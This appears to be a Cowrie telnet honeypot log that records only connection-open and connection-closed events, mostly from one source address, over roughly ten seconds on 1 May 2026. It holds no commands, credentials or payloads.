{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46224,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc197af5f26d","protocol":"telnet","message":"New connection: 104.167.8.156:46224 (10.17.0.5:23) [session: dc197af5f26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:42.145060Z"}
{"eventid":"cowrie.session.closed","duration":31.176030158996582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:42.170464Z","src_ip":"104.167.8.156","session":"c1fbbffaf4bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1617534160614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:42.195057Z","src_ip":"104.167.8.156","session":"62fec43e4979","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60648,"dst_ip":"10.17.0.5","dst_port":23,"session":"420ca03fa198","protocol":"telnet","message":"New connection: 104.167.8.156:60648 (10.17.0.5:23) [session: 420ca03fa198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:42.676454Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60896,"dst_ip":"10.17.0.5","dst_port":23,"session":"491b187b5017","protocol":"telnet","message":"New connection: 104.167.8.156:60896 (10.17.0.5:23) [session: 491b187b5017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:42.747889Z"}
{"eventid":"cowrie.session.closed","duration":31.08535623550415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:42.972941Z","src_ip":"104.167.8.156","session":"888fd2de3a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910990715026855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:43.151902Z","src_ip":"104.167.8.156","session":"98ce3a375715","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.72047138214111,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:43.224496Z","src_ip":"188.208.141.113","session":"fbea357d1087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34488,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e675c6ec52","protocol":"telnet","message":"New connection: 104.167.8.156:34488 (10.17.0.5:23) [session: 48e675c6ec52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:43.234532Z"}
{"eventid":"cowrie.session.closed","duration":31.055733919143677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:43.360134Z","src_ip":"104.167.8.156","session":"fe221995a5b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.288092374801636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:43.414235Z","src_ip":"104.167.8.156","session":"f80abee4f7fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36516,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eaeeca2de5b","protocol":"telnet","message":"New connection: 104.167.8.156:36516 (10.17.0.5:23) [session: 4eaeeca2de5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:43.624987Z"}
{"eventid":"cowrie.session.closed","duration":31.41162872314453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:43.793871Z","src_ip":"104.167.8.156","session":"146a41cad3fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.698192358016968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:43.798654Z","src_ip":"104.167.8.156","session":"93b63e816a52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.397305011749268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:43.847069Z","src_ip":"108.61.251.217","session":"1a1af06947e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38182,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bbe9785ab0b","protocol":"telnet","message":"New connection: 104.167.8.156:38182 (10.17.0.5:23) [session: 5bbe9785ab0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:44.050217Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39120,"dst_ip":"10.17.0.5","dst_port":23,"session":"476fa54ea032","protocol":"telnet","message":"New connection: 104.167.8.156:39120 (10.17.0.5:23) [session: 476fa54ea032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:44.270302Z"}
{"eventid":"cowrie.session.closed","duration":31.22110891342163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:44.292525Z","src_ip":"104.167.8.156","session":"6b38a17f8823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.2314178943634,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:44.342677Z","src_ip":"188.208.141.113","session":"106d005c29c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63632035255432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:44.588393Z","src_ip":"104.167.8.156","session":"bcb3ce74e49f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.347413301467896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:44.955639Z","src_ip":"104.167.8.156","session":"1fb1d5421ed3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744910955429077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:45.081489Z","src_ip":"104.167.8.156","session":"b11f9dd70dc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":60932,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d7fd180f440","protocol":"telnet","message":"New connection: 98.70.41.28:60932 (159.203.135.109:23) [session: 9d7fd180f440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:45.315548Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39754,"dst_ip":"10.17.0.5","dst_port":23,"session":"23f27aaf54f1","protocol":"telnet","message":"New connection: 104.167.8.156:39754 (10.17.0.5:23) [session: 23f27aaf54f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:45.388807Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":53416,"dst_ip":"10.17.0.5","dst_port":23,"session":"253ab3f3b905","protocol":"telnet","message":"New connection: 108.61.251.217:53416 (10.17.0.5:23) [session: 253ab3f3b905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:45.588611Z"}
{"eventid":"cowrie.session.closed","duration":31.246803045272827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:45.658747Z","src_ip":"104.167.8.156","session":"a241da80ed70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58250,"dst_ip":"10.17.0.5","dst_port":23,"session":"851bc976fb7d","protocol":"telnet","message":"New connection: 188.208.141.113:58250 (10.17.0.5:23) [session: 851bc976fb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:45.807405Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45772,"dst_ip":"10.17.0.5","dst_port":23,"session":"066afa8d6b6e","protocol":"telnet","message":"New connection: 104.167.8.156:45772 (10.17.0.5:23) [session: 066afa8d6b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:45.902274Z"}
{"eventid":"cowrie.session.closed","duration":31.42363739013672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:45.961236Z","src_ip":"104.167.8.156","session":"b498d42c3e9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844498872756958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:46.029404Z","src_ip":"104.167.8.156","session":"8278cd8cfcaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58264,"dst_ip":"10.17.0.5","dst_port":23,"session":"27f6e3d5fc04","protocol":"telnet","message":"New connection: 188.208.141.113:58264 (10.17.0.5:23) [session: 27f6e3d5fc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:46.139749Z"}
{"eventid":"cowrie.session.closed","duration":30.901149034500122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:46.215546Z","src_ip":"104.167.8.156","session":"23e65868d41a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47347,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2ad4998945","protocol":"telnet","message":"New connection: 104.167.8.156:47347 (10.17.0.5:23) [session: 1f2ad4998945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:46.339536Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48236,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9ed37081489","protocol":"telnet","message":"New connection: 104.167.8.156:48236 (10.17.0.5:23) [session: f9ed37081489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:46.518631Z"}
{"eventid":"cowrie.session.closed","duration":30.789069652557373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:46.541918Z","src_ip":"104.167.8.156","session":"12945f986d4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916800260543823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:46.631585Z","src_ip":"104.167.8.156","session":"6d9a3cec5f3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49610,"dst_ip":"10.17.0.5","dst_port":23,"session":"c97d5807872c","protocol":"telnet","message":"New connection: 104.167.8.156:49610 (10.17.0.5:23) [session: c97d5807872c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:46.915746Z"}
{"eventid":"cowrie.session.closed","duration":31.15803027153015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:47.267746Z","src_ip":"104.167.8.156","session":"2953ebc1ea6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47260,"dst_ip":"10.17.0.5","dst_port":23,"session":"2925e19aa35a","protocol":"telnet","message":"New connection: 104.167.8.156:47260 (10.17.0.5:23) [session: 2925e19aa35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:47.322447Z"}
{"eventid":"cowrie.session.closed","duration":30.896735906600952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:47.402117Z","src_ip":"104.167.8.156","session":"ca9d5af4bbba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121201515197754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:47.407375Z","src_ip":"104.167.8.156","session":"9fbbbcc6d235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709822416305542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:47.566479Z","src_ip":"104.167.8.156","session":"5d1e8d22b69a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48592,"dst_ip":"10.17.0.5","dst_port":23,"session":"336995b983c9","protocol":"telnet","message":"New connection: 104.167.8.156:48592 (10.17.0.5:23) [session: 336995b983c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:47.628941Z"}
{"eventid":"cowrie.session.closed","duration":31.29181957244873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:47.957811Z","src_ip":"98.70.41.28","session":"d4eaef68f4c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155883073806763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:48.233300Z","src_ip":"98.70.41.28","session":"853bb37ec121","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.556485652923584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:48.560048Z","src_ip":"104.167.8.156","session":"f7e10a4af27c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29970669746399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:48.642732Z","src_ip":"104.167.8.156","session":"548a6c3007bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231597661972046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:48.738705Z","src_ip":"104.167.8.156","session":"d8326d2c82bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964699506759644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:48.762485Z","src_ip":"104.167.8.156","session":"fbe2d56dffb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35666060447693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:48.774101Z","src_ip":"104.167.8.156","session":"aa2180af3127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287575721740723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:48.819884Z","src_ip":"98.70.41.28","session":"98b75848f1f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.366403102874756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:48.903089Z","src_ip":"104.167.8.156","session":"d24c38bfab70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58048,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdef72bf3bd1","protocol":"telnet","message":"New connection: 104.167.8.156:58048 (10.17.0.5:23) [session: bdef72bf3bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:48.909208Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54020,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d695b749df","protocol":"telnet","message":"New connection: 104.167.8.156:54020 (10.17.0.5:23) [session: 27d695b749df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:49.034973Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54138,"dst_ip":"10.17.0.5","dst_port":23,"session":"da24757bc391","protocol":"telnet","message":"New connection: 104.167.8.156:54138 (10.17.0.5:23) [session: da24757bc391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:49.068619Z"}
{"eventid":"cowrie.session.closed","duration":30.703840494155884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:49.156063Z","src_ip":"108.61.251.217","session":"e3fc00cd6e6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54674,"dst_ip":"10.17.0.5","dst_port":23,"session":"c18d8b90b9be","protocol":"telnet","message":"New connection: 104.167.8.156:54674 (10.17.0.5:23) [session: c18d8b90b9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:49.194593Z"}
{"eventid":"cowrie.session.closed","duration":31.061368942260742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:49.261097Z","src_ip":"104.167.8.156","session":"b570aed725f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59408,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ad12099b62","protocol":"telnet","message":"New connection: 104.167.8.156:59408 (10.17.0.5:23) [session: a8ad12099b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:49.312766Z"}
{"eventid":"cowrie.session.closed","duration":30.917170763015747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:49.512786Z","src_ip":"104.167.8.156","session":"457ca61b1929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.220102787017822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:49.642734Z","src_ip":"104.167.8.156","session":"2873ca6c9e63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54709529876709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.199618Z","src_ip":"104.167.8.156","session":"d7249956ec87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.422298192977905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.216308Z","src_ip":"104.167.8.156","session":"a5664995294a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35260,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d4e92d501a","protocol":"telnet","message":"New connection: 104.167.8.156:35260 (10.17.0.5:23) [session: 27d4e92d501a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.240368Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36656,"dst_ip":"10.17.0.5","dst_port":23,"session":"83cc61acd76b","protocol":"telnet","message":"New connection: 104.167.8.156:36656 (10.17.0.5:23) [session: 83cc61acd76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.503988Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36876,"dst_ip":"10.17.0.5","dst_port":23,"session":"520f65fb1f51","protocol":"telnet","message":"New connection: 104.167.8.156:36876 (10.17.0.5:23) [session: 520f65fb1f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.544373Z"}
{"eventid":"cowrie.session.closed","duration":31.145217657089233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.559757Z","src_ip":"104.167.8.156","session":"c8efba0d9885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990405082702637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.564216Z","src_ip":"104.167.8.156","session":"476657e81bd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837490797042847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.678493Z","src_ip":"104.167.8.156","session":"ff9c28f17c87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57606,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f57b9b054d","protocol":"telnet","message":"New connection: 188.208.141.113:57606 (10.17.0.5:23) [session: f9f57b9b054d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.782710Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":59146,"dst_ip":"159.203.135.109","dst_port":23,"session":"493b55f4777d","protocol":"telnet","message":"New connection: 64.227.9.242:59146 (159.203.135.109:23) [session: 493b55f4777d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.885989Z"}
{"eventid":"cowrie.session.closed","duration":31.722877025604248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:50.910887Z","src_ip":"104.167.8.156","session":"2ebda3093731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39206,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d487e006ebf","protocol":"telnet","message":"New connection: 104.167.8.156:39206 (10.17.0.5:23) [session: 3d487e006ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:51.056729Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34752,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f08e3b59e95","protocol":"telnet","message":"New connection: 104.167.8.156:34752 (10.17.0.5:23) [session: 4f08e3b59e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:51.110546Z"}
{"eventid":"cowrie.session.closed","duration":31.22776985168457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:51.222808Z","src_ip":"104.167.8.156","session":"f1ca4f01fb4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57612,"dst_ip":"10.17.0.5","dst_port":23,"session":"75049a65864a","protocol":"telnet","message":"New connection: 188.208.141.113:57612 (10.17.0.5:23) [session: 75049a65864a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:51.460687Z"}
{"eventid":"cowrie.session.closed","duration":31.40804386138916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:51.499006Z","src_ip":"104.167.8.156","session":"06004b73b338","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044675588607788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:51.556137Z","src_ip":"104.167.8.156","session":"a49289c6c377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56750,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e8dba59285","protocol":"telnet","message":"New connection: 104.167.8.156:56750 (10.17.0.5:23) [session: c3e8dba59285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:51.616240Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42096,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9bd7816095e","protocol":"telnet","message":"New connection: 104.167.8.156:42096 (10.17.0.5:23) [session: c9bd7816095e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:51.709855Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43122,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cec71d8d219","protocol":"telnet","message":"New connection: 104.167.8.156:43122 (10.17.0.5:23) [session: 0cec71d8d219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:51.968291Z"}
{"eventid":"cowrie.session.closed","duration":30.59116768836975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.047654Z","src_ip":"104.167.8.156","session":"c21349688a07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.211737155914307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.151932Z","src_ip":"104.167.8.156","session":"aa1135122cc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.087998151779175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.156553Z","src_ip":"104.167.8.156","session":"4276ebe03b9d","protocol":"telnet"}
